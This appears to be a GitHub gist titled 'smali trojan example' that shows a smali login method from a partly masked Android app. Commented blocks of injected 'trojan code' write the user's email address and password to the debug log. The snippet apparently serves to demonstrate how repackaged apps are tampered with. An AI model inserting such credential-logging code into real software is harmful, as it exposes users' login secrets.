Skip to content

Instantly share code, notes, and snippets.

@agentzex
Last active November 8, 2018 01:57
Show Gist options
  • Save agentzex/5a1eca76cb2734cdb2a154191f4c46e6 to your computer and use it in GitHub Desktop.
Save agentzex/5a1eca76cb2734cdb2a154191f4c46e6 to your computer and use it in GitHub Desktop.
smali trojan example
.method private loginToServer()V
# Start of added trojan code
.locals 6
# End of added trojan code
.prologue
.line 200
...
...
invoke-virtual/range {v4 .. v4}, Lil/co/***/android/data/User;->getEmailAddress()Ljava/lang/String;
move-result-object v4
# Start of added trojan code
const-string v5, "The login for this user is: "
invoke-static {v5, v4}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
# End of added trojan code
...
...
# getter for: Lil/co/***/android/activities/login/UserLogin***;->password:Ljava/lang/String;
invoke-static/range {v4 .. v4}, Lil/co/***/android/activities/login/UserLogin***;->access$400(Lil/co/***/android/activities/login/UserLogin***;)Ljava/lang/String;
move-result-object v4
# Start of added trojan code
const-string v5, "The password for this user is: "
invoke-static {v5, v4}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
# End of added trojan code
.end method
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment